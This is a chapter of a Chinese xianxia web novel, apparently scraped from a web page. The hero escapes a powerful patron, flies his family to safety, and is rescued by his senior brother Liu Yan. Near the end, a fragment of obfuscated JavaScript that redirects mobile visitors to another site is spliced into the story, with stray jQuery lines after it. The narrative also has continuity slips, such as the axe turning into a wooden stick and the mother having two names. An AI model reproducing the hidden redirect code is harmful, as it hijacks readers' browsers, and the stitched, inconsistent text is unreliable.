24. 【二十一】

作品:《布袋尺

    那股蛮横冲撞带来的剧痛和强行破阵的反噬,在云实跃出温府高墙、没入京城市井混杂气息的瞬间,并未有丝毫减轻,反而像迟来的浪潮,更凶猛地拍打上来。他喉头腥甜翻涌,眼前阵阵发黑,全凭一股不肯倒下的狠劲在陌生巷道里跌跌撞撞地穿行。不敢走大路,不敢停留,甚至不敢调动太多灵力来缓解伤痛或加速,那会留下清晰的痕迹。他像一头受了重伤、本能寻求最隐蔽处舔舐伤口的野兽,凭着对混乱地形的模糊记忆和对危险的本能嗅觉,朝着京城最鱼龙混杂、气息也最污浊混乱的南城边缘地带挪去。


    最终力竭时,他发现自己蜷在一处早已荒废、半塌的土地庙残垣后面。断壁挡住了大部分风寒,地上是潮湿的腐叶和碎瓦。他背靠着冰冷的土墙滑坐下来,咳了几声,终于没忍住,呕出一口淤黑的、带着脏腑碎片似的血块。吐出来后,胸口那火烧火燎的窒闷感稍减,但全身经脉依旧像被滚油浇过,每一次呼吸都牵扯着撕裂般的疼。苏妄那股暴烈的力量在完成破阵的使命后,并未完全平息,仍在丹田和经脉里不安分地窜动,带来一阵阵灼热和眩晕。


    他摸索着,从怀里掏出一个皱巴巴的油纸包,里面是几块从温府厨房顺手摸的面饼,当时只是下意识备着,没想到真用上了。他就着瓦罐里不知积了多久、泛着绿沫的雨水,艰难地吞咽。冰冷的饼渣和污浊的水滑过喉咙,带来另一种不适,却也暂时压下了饥饿和干渴。


    不能在这里久留。他需要恢复一点力气,然后继续移动,找到一个更稳妥的、暂时可以喘口气的地方。


    背靠着冰冷粗糙的土墙,疲惫和伤痛如同沉重的潮水,终于淹没了紧绷的神经。极度的消耗后,意识不受控制地滑向黑暗。在失去知觉前的最后一刻,他模糊地想,也许该爬到那棵歪脖子老树上去……地上,太不安全了。


    然而,没等他付诸行动,黑暗便彻底吞噬了他。


    土地庙的断墙抵着后背,冰冷坚硬。云实在混沌的痛楚和疲惫中沉下去,跌入一片光怪陆离的昏黑。


    梦的开头,与他白日的经历诡异地重合。他又站在竹溪小院的月亮门外,指尖下意识摸索袖袋里那个锦囊粗糙的边缘,心跳声在耳膜里鼓噪。藤萝的叶子碧油油的,垂挂的姿态都一模一样。他走进去,工坊里,温言背对着他,指尖抚过那块染坏了的月白绸子。


    一切细节都在复刻,直到温言转过身。


    梦里的温言,脸上的笑意似乎更深了些。


    “回来了?”


    梦中的云实僵了一下,某种不对劲的感觉如同冰水,顺着脊椎爬上来。他下意识低头看去,身上穿的,是一套剪裁接线明显不同的衣服。


    对话的走向开始与记忆偏离。同样交出那本心血总结的册子,同样说着“是不是可以不欠了,真正聊聊感受”。但温言的回应,少了些迂回的劝哄,多了几分直截了当的、近乎规划蓝图的笃定。


    “你的心思,我都明白。”梦中的温言合上册子,指尖在那粗糙封面上点了点,仿佛那不是心血结晶,而是一份值得嘉许的嫁妆清单。


    “总是担心亏欠,总想着两清。其实何必?”他抬起眼,目光像柔韧的丝线,将云实缠绕,“我们之间马上就要成婚了,我的就是你的,你的自然也就是我的。我的庇护,也就成了你应得的,再没什么欠不欠的说法。”


    云实愕然,喉咙发紧:“……一家人?”


    温言笑了,那笑容在梦境昏黄的光线下,显得格外清晰。


    “对啊,明媒正娶,入我温氏门楣。聘书我已备好,”他不知从何处取出一卷色泽沉厚、以金线封缄的文书,轻轻放在那本织理册子旁边,对比鲜明,“仪式所需一应物事,三日内便可齐备。你只需安心待嫁。从此,温府便是你的归处,你的织理亦可作为闺中雅趣,或……助益家业的贤内之能。你父母弟妹,自有照拂,风光体面。这岂不比那冷冰冰的契约,更妥当,更长久?”


    温言明显就是在通知他。反抗在梦中变得更为激烈,也更为绝望。争吵,禁锢,冲突升级。最终爆发的搏杀却与之前的破阵不同,少了几分挣脱的决绝,多了几分被逼入绝境的疯狂。梦中的力量暴走,两人在狭小庭院里以命相搏,灵力撕扯,鲜血飞溅,将那些精致的盆栽、雅致的窗棂打得粉碎。最后双双重伤倒地,温言肩胛处血肉模糊,云实胸口剧痛,呕出的血染红了前襟。他们倒在瓦砾和血泊里,互相瞪着,眼中只剩下被彻底撕破脸皮后的恨意和冰冷,曾经或许有过的些许温情,早在这一地狼藉中碾得粉碎。


    就在温言挣扎着,要用最后力气下令彻底禁锢他时——


    云实猛地抽气,从噩梦深处被呛醒,心脏狂跳如濒死的兽。他趴在地上,大口喘息,肺叶火烧火燎,梦中的血腥味和窒息感似乎还萦绕在口鼻之间。天色是黎明前最沉的靛蓝,远处城郭轮廓模糊。他花了几个心跳的时间,才确认自己真的在树上,在逃亡中,而不是那个满地狼藉、被婚事逼到绝境的噩梦庭院。


    冷汗湿透了里衣,紧贴在皮肤上,冰凉黏腻。他慢慢坐起身,背靠着主干,梦中的细节一帧帧闪过,那份被“婚姻”这条看似更光明正大、实则枷锁更甚的路径所瞄准的恐怖,清晰得让他反胃。


    他抬起手,看着自己骨节分明、沾着污渍和树皮碎屑的男人的手。


    一个冰冷而清晰的念头,劫后余生般浮现出来:幸好,此刻,此身,这套最名正言顺的捆绑程序,无法直接套用在他身上。温言即便权势滔天,也无法用“明媒正娶”的方式,将他不由分说地锁进后宅,变成某个附属的称谓。那场梦里的绝路,至少在此刻的现实规则下,被一道无形的屏障隔开了。


    但自己这次暴力破局,是撕开了契约这条路径。但温言会罢休吗?梦中的场景虽然极端,却像一声尖锐的警报。当一种束缚失效,掌握资源的人,自然会寻找下一种。


    天色渐亮,晨雾在废墟间流淌。云实小心地活动了一下依旧疼痛的四肢,感受着体内那股不安分的力量。他从树枝间望向远方渐渐苏醒的京城轮廓,那里有温言的府邸,有无数双可能正在搜寻他的眼睛。


    不能再停留了。


    天光渐亮,南城边缘开始有了零星的动静。云实知道,必须尽快离开这个临时的藏身点。温言的说辞再漂亮,暗中的搜寻网只会越收越紧。他需要联系外界,需要安排退路,更需要一个能暂时摆脱追捕、从长计议的落脚点。


    他注入一丝微弱的灵力,随身玉片母片泛起鹅黄色的微光,一闪即逝。他将最紧迫的信息压缩进去:【温府已翻脸,我被追踪,急需安全线路离京。另,家中布料店或有风险,能否暂托?】没有过多解释,纸鸢是聪明人。


    接着,他将一段更简洁、更不容置疑的意念烙印给小妹进去:【哥安,危机临,速关店铺,带爹娘离镇,暂避。后续再联。勿回传。】


    响石只能单向传递,传递后便会碎裂。这断绝了妹妹立刻回复的可能,也最大程度避免了被反向追踪的风险。做完这件事,他指尖用力,那灰色石片悄无声息地化为一小撮粉末,从他指缝间洒落,混入地上的腐叶尘埃。


    两封信送出,心中稍定,但焦虑未减。他不能完全指望纸鸢能立刻安排好一切,也不能确定妹妹能否果断执行。最稳妥的方式,是他必须亲自回去一趟,亲眼确认家人的安全,并亲自带他们离开。


    他仔细感知了一下周围,确认没有异常的灵力波动靠近,这才从藏身处悄然挪出,如同阴影般融入逐渐苏醒的坊市边缘人流。他买了一套最普通不过的灰褐色短打衣裳换上,用一块旧头巾包住头发,脸上也刻意蹭了些灰土,尽量抹去所有可能引人注目的特征。体内的力量被他压制到最低,只维持着最基本的行动力和对伤势的缓慢修复,行走间,就像一个普通的、为生计奔波的底层修士或体格强健些的凡人。


    离开京城的过程比他预想的顺利。温府的搜寻力量似乎更多集中在城内,尤其是南城这类混乱区域,对于出城的盘查虽有加强,但并未达到滴水不漏的程度。或许温言也没料到,他重伤之下,不仅没在某个角落昏迷等死,反而有能力和决心立刻远遁。云实用身上最后一点碎银,混入一个前往京畿西面运送杂货的小商队,充当临时护卫,有惊无险地出了城门。


    离了京城地界,那股无形的压迫感才略微减轻。他谢绝了商队头领微薄的酬劳和继续同行的邀请,一头扎进了官道旁的山野密林。在这里,他终于可以稍稍放开一些对力量的限制,也必须为接下来的长途奔袭做好准备。


    他解下一直背负在身后、用粗布仔细裹缠的柴斧,将柴斧平举,心念微动,灵力自掌心吞吐。


    柴斧并未如飞剑般发出锐鸣激射,而是沉稳地、近乎顺从地微微震颤着,悬浮在他身前尺许处的低空,稳定得令人心安。他抬脚踏上斧面,调整呼吸,更多灵力流转周身,与脚下柴斧那被唤醒的、熟悉的场完美衔接、共振。


    “起。”


    低喝一声,柴斧载着他,平稳而有力地离开了地面,起初稍有滞涩,但几乎瞬间便进入了流畅的状态,化作一道离地数丈、毫不显眼的灰扑扑的影子,掠过林梢,朝着青石镇的方向加速飞去。苏妄赋予的那股本源力量,此刻反而成了他持续输出的深厚底气,只是他必须分出一部分心神,时刻安抚其不安分的躁动,防止它干扰飞行所需的稳定灵力流。


    途中,他曾两次短暂降落,在隐蔽处调息,并谨慎地通过沿途城镇的信鸽坊,以暗语给纸鸢追加了更明确的讯息,告知自己正在赶回青石镇,并约定了汇合地点。


    当他远远望见青石镇那熟悉的、低矮的城墙轮廓时,已是次日傍晚。夕阳给小镇镀上一层温暖的金边,炊烟袅袅,显得平静而祥和。但云实的心却揪紧了。他不敢直接飞入镇中,在镇外数里的一片小树林里降落,收起那根光泽已暗淡许多的木棍,再次换上那套灰扑扑的行头,徒步向镇北的家走去。


    越靠近云锦记,他脚步越慢。店铺的门板……已经上了一大半。这个时辰,按理还未到打烊的时候。他的心跳漏了一拍,加快脚步,从店铺侧后方熟悉的小巷绕到后院门口。


    门虚掩着。他轻轻推开。


    院子里,父亲蹲在墙角,对着一个半新不旧的铜盆,盆里还有未燃尽的纸钱灰烬,随风打着旋。母亲坐在一旁的矮凳上,手里无意识地揉着一件云实旧时穿的褂子,肩膀微微抽动。云舒站在他们面前,背影挺直,正用刻意压低的、带着不容置疑的冷静声音说着什么。


    “……爹,娘,听我的,必须走。铺子关张的由头我都想好了,就说……就说爹旧伤复发,需得去外地寻医问药……”


    她的话戛然而止。


    因为蹲着的云天青茫然地抬起头,浑浊的目光越过她的肩膀,落在了门口那个逆着昏暗天光、风尘仆仆的身影上。


    林秀顺着丈夫呆滞的目光转头,手里那件旧褂子滑落在地。她盯着门口,眼睛瞪得极大,嘴唇剧烈地颤抖起来,却没有发出任何声音,仿佛一口气堵在了喉咙里,只有胸膛剧烈地起伏。


    云舒察觉不对,猛地回身。


    “哥?”这一声惊叫,她随即死死咬住了下唇,将那声惊呼后续的情绪硬生生憋了回去,眼眶却迅速红了。


    院子里的空气凝固了。只有纸钱的灰烬还在无知无觉地飘旋。


    云实一步步走进来,每一步都像踩在自己心尖上。他看着父亲呆滞空洞、仿佛见了鬼般的神情,看着母亲那混合着极致惊骇与一丝渺茫希冀、却不敢确认的眼神,看着妹妹强忍的激动和迅速环顾四周的警惕,喉咙像是被滚烫的沙子堵住,干涩得发不出完整的音节。


    “爹,娘……”云实的声音沙哑得几乎破碎,“是我。我……没死。”


    “没死”两个字像一把钥匙,猛地捅开了林秀堵塞的情感闸门。她发出一声短促的、像被掐住脖子又骤然松开的抽泣,反手死死攥住云实的手,指甲几乎掐进他的肉里,另一只手颤抖着抬起,想去摸他的脸,却又在半空停住,仿佛害怕一碰就碎了。“实儿?……是实儿?真的是……我的儿?”泪水决堤般涌出,夹杂着含糊不清的呜咽。


    云天青依旧僵在那里,目光从云实的脸,移到被妻子死死抓住的手,再移回他的脸。那空洞的眼神里,渐渐有了一丝活气,随即被巨大的困惑和后知后觉的、排山倒海般的冲击取代。他猛地吸了一口气,像是溺水的人终于浮出水面,胸膛剧烈起伏,声音干涩粗嘎:“你……你没……那、那之前……那些消息……”


    语无伦次,逻辑混乱,但话里话外尽是他们接到的死讯。


    “是假的。是为了脱身,不得已放出的假消息。”云实用力回握母亲的手,目光恳切地看着父亲,“爹,娘,儿子不孝,让您二老担惊受怕,为我伤心……是儿子的错。”


    他这次才就着蹲姿,垂下头。


    “起来!快起来!” 林秀终于确认这不是幻影,不是梦,用尽全力把他拉起来,双手捧住他的脸,泪眼婆娑地上下看着,摸摸胳膊,又摸摸肩膀,“是真的……是真的……老天爷啊……你可吓死娘了……你可……”


    情绪太过激动,她又哽咽得说不出话,只是紧紧抓着儿子的胳膊,生怕一松手人就没了。


    云天青也终于撑着膝盖,有些踉跄地站起来,看着活生生的儿子,眼圈也红了,重重一巴掌拍在云实没被母亲抓住的另一边胳膊上,力道不轻,带着劫后余生的余怒和后怕:“混账小子!你、你怎么敢……怎么敢弄这种消息回来!你娘差点……差点就……”


    他说不下去,别过头,用力眨了眨眼,把那股酸涩逼回去。


    云舒这时才走过来,轻轻扶住母亲,声音依旧压得很低,却带着一丝如释重负的微颤:“爹,娘,现在不是细说的时候。哥既然回来了,还用了那种法子传信,说明危险是真的,而且迫在眉睫。”


    她的话像一盆冰水,稍稍浇熄了重逢的激动。云天青和李氏这才想起云舒之前的劝说,想起那枚“响石”里不容置疑的警告。他们看向云实,眼神里的喜悦迅速被担忧和恐惧取代。


    “实儿,你到底……”云天青声音沉重。


    “爹,娘,长话短说。”云实打断父亲,语速加快,语气是前所未有的凝重,“我在京城惹了天大的麻烦,对方势力极大,可能会牵连到家里。铺子不能再开了,青石镇也不能再待。我们必须立刻离开,去一个安全的地方。”


    他看了一眼云舒。云舒立刻会意,快速道:“东西我已经收拾好,店铺也挂了歇业的牌子,最紧要的订单纸鸢姐姐答应接手。现在只要爹娘点头,我们马上就能走。”


    李氏紧紧抓着云实的手,眼泪又涌出来,但这次是恐惧的泪:“走?走去哪儿啊?这房子,这铺子……”


    “娘!”云实反握住母亲的手,眼神坚定,“房子铺子还是我们的,只是歇业。就算房子铺子真没了,只要人在,以后都能挣回来。人要是出了事,就什么都没了。儿子这次回来,就是无论如何也要带你们平安离开。信我一次,好吗?”


    他的眼神里有愧疚,有焦急,更有一种经历过生死险境后沉淀下来的、让人无法忽视的决断力。云天青看着儿子,仿佛第一次真正意识到,眼前这个早已高出自己半个头的年轻人,已经不再是那个需要他们庇护的孩子了。他闭了闭眼,再睁开时,已经有了决断。


    “……走。”云天青的声音带着疲惫,却不再犹豫,“听实儿的。舒儿,去拿东西。”


    “已经准备好了,爹。”云舒立刻转身进屋。


    云实从怀中取出个自己改良后的储物袋,对父母简单解释:“用这个装,方便。”


    当三个鼓鼓囊囊的包袱在袋口微光一闪后消失无踪时,云天青和李氏再次受到了冲击,但这次,震惊之余,更多的是对儿子如今身处世界之陌生的茫然,以及一丝隐隐的、对修仙者手段的敬畏。


    “事不宜迟,我们这就走。妹妹,带路,走西边小路。”云实将储物袋仔细收好,目光扫过父母,“爹,娘,路上可能有些……特别,你们抓紧我,无论看到什么,别怕。”


    夜色渐深,四人悄然离开“云锦记”,融入青石镇边缘的黑暗。云舒对镇外路径很熟,领着父母,跟着云实,专挑人迹罕至的小径。一路无话,只有急促的呼吸和脚步声。一个多时辰后,他们抵达了外围。


    在这里,云实再次取出了斧头。在父母惊疑不定的目光中,他将其平放在地,灵力注入,斧头缓缓变长变宽了几分,足够四人勉强挤坐。他先搀扶着浑身发软的父母坐上去,让云舒坐在中间扶住二老,自己则站在最后方,双手虚按在木棍尾端。


    “爹,娘,妹妹,坐稳,抓紧彼此,千万不要松手。无论看到什么,感觉到什么,都别怕,相信我。”云实的声音在夜风中异常沉稳。


    下一刻,雄浑却异常平稳的灵力自他掌心奔涌而出,注入木棍。灰蒙蒙的光泽再次亮起,将四人笼罩在一个略显薄弱却足够挡风的灵力护罩内。木棍发出低沉的嗡鸣,缓缓离地升起。


    “啊!”林秀短促地惊叫一声,死死抓住身旁的云天青和云舒。云天青也是脸色发白,紧闭着嘴。云舒虽然也紧张地咬住了下唇,但眼神里更多是惊奇和对哥哥的信任。


    “走!”


    斧子化作一道比之前更庞大、却也依旧不算醒目的灰影,悄无声息地滑入夜空,朝着东南方向,朝着天衡宗所在的连绵群山飞去。


    这一次,负载三人,对云实的灵力控制提出了更高的要求。他必须将灵力输出调节得极其平稳,护罩也要足够柔和,避免父母因高速和高度产生严重不适。同时,还要维持一定的速度,并时刻警惕下方的动静,避开可能有人烟或灵力聚集的区域。


    夜空中星辰寥落,风很大。云实站在后方,如同最坚定的舵手,灵力源源不绝,却又举重若轻。苏妄的那股力量在深处涌动着,提供了近乎无穷的后劲,但也带来更大的掌控压力。他额角渗出细密的汗珠,脸色在月光下显得更加苍白,但眼神锐利如鹰,紧紧锁定着前方黑暗中的山峦轮廓。


    父母起初的惊恐,在飞行逐渐平稳后,慢慢被一种超越认知的震撼所取代。他们紧紧靠在一起,透过略显透明的灵力护罩,看着下方飞速掠过的、缩小了无数倍的山川河流、城镇灯火,如同置身于一个光怪陆离的梦境。云舒则渐渐适应,甚至开始仔细观察哥哥操控飞行的方式,眼中闪动着思索的光芒。


    中途,云实再次选择了僻静山林降落休整。给父母喂了些水和干粮,自己也抓紧时间调息。如此飞行、休整、再飞行,当东方天际泛起鱼肚白时,脚下已是熟悉的山峦。翠微山脉的支脉,栖霞镇就在山脚的薄雾中若隐若现,而他们飞行的方向,则刻意偏离了镇子,朝着山脉更深处、人迹更罕至的一片原始森林降落。


    最终,他们在一片被高大乔木和浓密藤蔓遮蔽的山谷边缘缓缓落地。木棍上的光泽几乎完全暗淡,云实也感到一阵强烈的虚脱,但他强撑着,搀扶腿脚发软的父母下来,云舒也赶紧帮忙。


    此地幽深寂静,只有鸟鸣啾啾,溪水潺潺,空气中弥漫着浓郁的草木灵气和泥土的气息。远处,可以隐约望见天衡宗几座主峰缭绕的云雾,却又相隔甚远,避开了宗门日常活动的范围。


    “暂时……就是这里了。”云实喘了口气,指着山谷深处一个背风、干燥,且有天然石檐遮蔽的地方,“我们先在那里安顿。等我恢复一下,我们就和纸鸢会和。”


    云天青和李氏看着这完全陌生的荒野环境,再对比昨夜还在家中院落,恍如隔世,一时间相顾无言,疲惫和茫然涌上心头。云舒却已迅速行动起来,从云实递过来的储物袋中取出简易的铺盖、水囊和干粮,开始收拾那个临时的栖身之所。


    云实走到一边,背靠着一棵古树坐下,闭目调息。带着三人长途御物飞行,尤其还要时刻维持稳定和隐匿,对他而言也是极大的负担。但感受着家人就在身边暂时安全,那份沉甸甸的焦虑,总算放下了一半。


    ……


    次日晌午过后,山路渐缓,前方隐约可见官道的痕迹,以及更远处升起的炊烟,似乎是一个不大的驿站或小村落。连夜的惊惶赶路,父母脸上已满是疲惫,林秀的脚更是磨出了水泡,走路一瘸一拐。云实心下不忍,便道:“前面似乎有个歇脚的地方,我们过去稍作休整,买些干粮清水,再打听一下确切路径。”


    云天青沉默地点点头,林秀更是松了口气。云舒搀着母亲,眼神却警惕地扫视着周围。


    他们刚靠近那处简陋的、只有几间土房和一处茶棚的野店,还未等坐下,斜刺里便转出五六个人来。这些人衣着不算统一,但料子都算结实,式样偏向北地常见的窄袖绑腿,腰间挂着制式不一的铁尺、锁链或短棍,脸上带着一种介于公门胥吏与地方豪强打手之间的油滑与蛮横。为首的人目光在云实四人身上一扫,尤其在云实背后那用布缠着的柴斧和一家人风尘仆仆、神色惊惶的面上停留片刻,嘴角便扯出个似笑非笑的弧度。


    “站住!”他一抬手,挡住了去路,“哪儿来的?路引呢?看你们形迹可疑,不像是寻常走亲访友的吧?”


    云实心下一沉。他最担心的情况还是出现了。这些人未必是温言直接派来的,更像是地方上借着盘查之名、行敲诈勒索或替某些势力充当眼线的地头蛇。他们修为不高,甚至可能压根没有正经修为,但麻烦在于,一旦冲突起来,动静必然不小,很容易暴露行踪,而且刀剑无眼,极有可能波及身后毫无自保之力的父母和妹妹。


    他上前半步,将家人隐隐挡在身后,脸上挤出一丝讨好的笑容,微微躬身:“几位差爷,小的是带着家里人去前面镇上探亲的,路上耽搁了,走得急了些。路引……路上不慎遗失了,您看能不能通融……”


    他一边说,一边悄悄将手探入怀中,摸出几块碎银,这是他从京城出来时仅剩的一点盘缠。


    那人瞥了眼他手中的银子,嗤笑一声,非但没有接,反而眼神更厉:“遗失?这么巧?我看你们分明是心里有鬼!这兵荒马乱的年月,谁知道你们是不是北边流窜过来的奸细,或是犯了事在逃的贼人!”


    他身后的几人立刻散开半步,隐隐形成合围之势,手按在了兵器上。


    林秀吓得脸色发白,紧紧抓住云天青的胳膊。云天青挺直了佝偻的背,想将妻女护得更严实些。云舒抿着唇,眼神快速扫视周围环境,寻找可能的退路或遮挡。


    云实的眼神沉了下来。银子不行,说理不通,对方摆明了要找茬,或者真就是得了什么风声在此拦截。他丹田内那股力量开始缓缓流转,神识锁定了面前几人的动作和气息薄弱处。硬闯过去不难,但这几个地头蛇若临死反扑或大声呼喝,引来更多注意,后续就麻烦了。更关键是父母妹妹就在身后……


    就在他计算着是先发制人迅速击倒为首两人打开缺口,还是尝试用更隐蔽的乱力干扰对方神智制造混乱时,一道青白色的剑光,毫无征兆地,如同撕破阴云的冷电,自众人侧方的树林边缘倏然亮起!


    那剑光并不盛大耀眼,却快得超出了在场所有人的反应。它并非直刺,而是灵巧至极地划出几道简洁而凌厉的弧线,精准地拍击在那几名汉子的手腕、膝弯或肩胛处。


    “哎哟!”


    “我的手!”


    “什么东西?!”


    几声短促的痛呼与惊呼几乎同时响起,伴随着铁尺锁链“叮当”落地的声音。那五六人如同被无形的重锤击中,又像是被狂风卷起的落叶,东倒西歪地向后跌飞出去,狼狈地摔倒在尘土里,一时竟都爬不起来,只剩下呻吟的份儿。为首的摔得最重,捂着手腕,惊骇欲绝地看向剑光来处。


    剑光收敛,现出一个身影。


    那人穿着一身半旧的天衡宗内门弟子常服,青色底子洗得有些发白,袖口和下摆沾着山野间的草屑与露水。他身姿挺拔如松,面容比云实记忆中清减了许多,下颌线条绷得有些紧,眼下带着淡淡的青黑,显然是长久未能安眠。但那双眼睛,此刻却亮得惊人,如同寒潭深处骤然点燃的两簇火焰,牢牢地、一瞬不瞬地钉在云实身上,里面翻涌着太多复杂到几乎要满溢出来的情绪——狂喜、后怕、焦灼、释然,还有一丝难以掩饰的、近乎失而复得的脆弱。


    是流衍。


    云实愣住了,完全没想到会在这里,以这种方式与他重逢。


    流衍却似乎根本没看地上那些呻吟的家伙,他的目光仿佛被磁石吸住,只看着云实。那眼神里翻涌着太多复杂的情绪——不是惊讶,而是一种浓重得化不开的后怕,混合着看到人安然无恙时瞬间崩塌的紧绷,以及压抑已久的担忧终于找到出口的震颤。下一刻,他几乎是踉跄着,一步便跨过了数丈的距离,猛地张开双臂,将还在发怔的云实狠狠拥入怀中。


    那拥抱的力道大得惊人,带着一种仿佛要将人骨头都揉碎的急切和……失而复得的恐惧。云实能清晰地感觉到流衍身体的紧绷和难以抑制的颤抖,能闻到他身上熟悉的、混合着淡淡药草和山间清冽气息的味道,也能听到他胸膛里那颗心脏正以前所未有的狂乱节奏撞击着。


    “云实……”流衍的声音紧贴着他的耳廓响起,低沉、沙哑,每一个字都浸满了紧绷过后骤然松开的战栗,“……你出来了。你真的……出来了。”


    他没有质问,没有责备去温府的决定本身,只是反复地、近乎喃喃地确认着这个事实。那声音里带着一种劫后余生般的虚脱,和深藏其下的、几乎要将他淹没的后怕,怕的是那个“万一”,是云实踏入温府后可能遭遇的任何一种他无法预料、也无法阻止的糟糕结果。这数十个时辰的等待与未知的煎熬,此刻才随着怀中真实的体温和心跳,化为沉重而滚烫的情绪洪流。


    云实鼻尖一酸,他当然知道流衍在怕什么。他自己又何尝不是提着心吊着胆走的那一遭。他抬起手,轻轻回抱住流衍紧绷的后背,低声道:“嗯,出来了。没事了。”


    但理智很快回笼。他记起身后还有目瞪口呆的父母和妹妹。


    “流衍师兄……”云实稍微用力,想要提醒他当下的场合,声音也有些发干,“别这样……我家里人……还在呢。”


    流衍骤然从激烈的情绪中清醒过来。他身体一僵,手臂的力道倏地松开,几乎是有些仓促地向后退了半步。他这才仿佛第一次看到云实身后,那对看起来饱经风霜、此刻正一脸惊疑不定看着他们的老夫妇,以及那个扶着母亲、眼神清澈中带着审视的少女。


    流衍的脸上瞬间掠过一丝尴尬的红晕,但很快被他强行压了下去。他迅速整理了一下衣袍,深吸一口气,将脸上所有外露的激烈情绪收敛,重新变回了那个礼数周全、气质清冷的天衡宗内门弟子形象。


    他转向云天青和林秀,端正了神色,抱拳,深深一揖:“晚辈流衍,见过伯父、伯母。方才……方才晚辈一时情急,失礼了,惊吓到二位长辈,实在惭愧。”


    他的礼节一丝不苟,声音也恢复了往日的清朗平稳,只是仔细听,还能辨出一丝残余的紧绷。


    云天青和林秀对视一眼,都有些回不过神。他们记得流衍,是云实在天衡宗时那位颇为照顾他、看起来稳重又有些疏离的师兄。可刚才那一幕……那激动忘形、甚至带着怒气的拥抱,全然颠覆了之前的印象。但流衍此刻恭敬有礼的态度,又和记忆吻合了。


    林秀先反应过来,忙道:“没、没事……流衍仙师快别多礼。”


    云天青也咳嗽一声,抱拳还礼:“流衍仙师……多谢出手相助。”他看向地上那几个还在哎哟叫唤、却不敢再妄动的人,“这些人是……”


    “不过是些借着由头生事的宵小,或是被人利用的眼线。”流衍的语气冷了下来,瞥了那些人一眼,那目光中的寒意让地上几人齐齐打了个寒颤,呻吟声都小了,“不必理会他们。此地不宜久留。” 他重新看向云实,眼神里的关切掩去了方才的尴尬,“你们这是要往哪里去?可有稳妥的落脚处?”


    云实摇头:“暂无确切去处,只想先寻个僻静地方安顿爹娘和妹妹。”


    流衍闻言,立刻道:“纸鸢姑娘之前与我传讯时已有安排。她在天衡宗山门外围的栖霞镇附近,有一处闲置的小院子,本是纸云坊早年囤货所用,后来生意拓展便闲置了。她已收拾出来,家具物什还算齐全,位置也清净稳妥。若你们不嫌弃,可暂去那里安身。她知道你们可能要来,已将具体位置和开启院门的法子告知于我。”


    云实看向父母,用眼神询问。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934582|192840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >云天青和林秀一路颠簸,早已身心俱疲,此刻有个看似可靠又曾是儿子师兄的人提供遮风挡雨之处,哪还有不愿意的。林秀连忙道:“那……那真是太麻烦流衍仙师了。”


    “伯母不必客气,叫我流衍即可。”流衍语气温和了些许,又看向云舒,微微颔首,“云舒妹妹,一路辛苦了。”


    云舒也乖巧地回了一礼:“多谢流衍师兄。”


    她心思剔透,虽然对刚才那一幕和这位师兄与哥哥之间明显超乎寻常同门的情谊满腹疑问,但此刻也知不是问的时候。


    “事不宜迟,我们这就动身。”


    流衍行事干脆,他看了一眼地上那几个噤若寒蝉的家伙,随手弹出几道细微的灵力,封住了他们的几处穴道,确保他们至少几个时辰内无法动弹也无法大声呼喊。


    “从此处往东南,绕过前面那个山坳,有一条更隐蔽的小路可通栖霞镇外围。我御剑带伯父伯母和云舒妹妹一程,云实你……” 他看向云实,眼神里带着询问。


    “我跟着。”云实点头。他知道流衍是顾及他可能不愿在家人面前过多展露修为,或者另有考量。


    流衍也不多言,并指一引,方才那柄青光湛湛的长剑便悬浮于低空,变大了些许。他先搀扶着有些畏高的林秀小心翼翼踏上去,让她坐下扶稳剑身,又请云天青上去坐在妻子身后。云舒倒是胆大,在流衍的示意下也稳稳站了上去。


    “伯父伯母,云舒妹妹,坐稳扶好,不必害怕。”流衍叮嘱一句,自己则轻身立在剑尖前方。长剑发出一声清越的嗡鸣,平稳升空,离地数尺,朝着东南方向缓缓飞去,速度不快,显然是为了照顾凡人的承受能力。


    云实也唤出柴斧,踏足其上,保持着一段不近不远的距离,跟随在流衍剑光之后。他望着前方流衍挺直的背影,心中五味杂陈。


    约莫飞行了小半个时辰,下方地势渐缓,出现了零星的农田和屋舍,远处一座小镇的轮廓在暮色中显现,正是栖霞镇。流衍操控着飞剑,并未进入镇子,而是拐向镇子东北面一片背靠山麓、相对幽静的竹林边缘。竹林深处,隐约可见几间白墙灰瓦的房舍。


    飞剑缓缓降落在一处整洁的院落中。院子不大,但收拾得井井有条,墙角种着几丛晚菊,正开着黄白的花。三间正房,两侧各有厢房,虽然朴素,却窗明几净。


    流衍收了飞剑,搀扶着林秀稳稳落地,又虚扶了云天青一把。云舒自己轻盈地跳下,目光敏锐地扫过这处掩在竹林间的静谧院落,紧绷的肩颈线条几不可察地松了一丝。


    “就是这里了。”流衍推开正房的门,里面桌椅床榻俱全,窗明几净,被褥叠放整齐,甚至窗台上还放着一小盆绿意盎然的兰草,显然是有人提前精心打理过,“纸鸢姑娘心细,提前遣人收拾过。日常用度一应都有,后院小厨房里米粮油盐俱足,柴火也是备好的。”他侧身让开,语气温和。


    云天青和林秀看着这比预想中好上太多的安身之所,心中惶恐稍安,但更多的疑问和一路积压的惊惧却浮了上来。


    林秀忍不住拉着云实的衣袖,声音还带着颤:“实儿,这、这到底是怎么回事?好端端的,怎么就到了要丢下家业、躲到这深山里头来的地步?你们……你们是不是惹上什么不得了的事情了?”


    云天青也沉沉地叹了口气,在堂屋的椅子上坐下,眉头拧成了疙瘩,看向流衍,又看看儿子:“流衍仙师,您是高人,又是实儿的师兄,您给说说。我们老两口,还有舒儿,总得知道是为什么逃,往后……又是个什么章程。”


    云实和流衍对视一眼。流衍几不可察地点了下头,率先开口,语气郑重:“伯父,伯母,云舒妹妹,此事说来话长,牵连甚广,确实凶险。但请相信,云实所做一切,绝非招惹是非,实是身不由己,乃至被卷入巨大漩涡之中。”


    云实接着话头,在父母面前蹲下身,握住母亲冰凉的手,抬眼看向父亲,声音沉静却带着不容置疑的坦诚:“爹,娘,我长话短说。我在外头,因为一些……特殊的天赋和手艺,被一个势力极大的人物看中。那人起初或许有些欣赏,但更多的是想将我牢牢控制在手心里,替他做事。我不愿完全受制于人,更不愿将家人牵扯进这潭浑水,所以一直试图周旋、离开。”


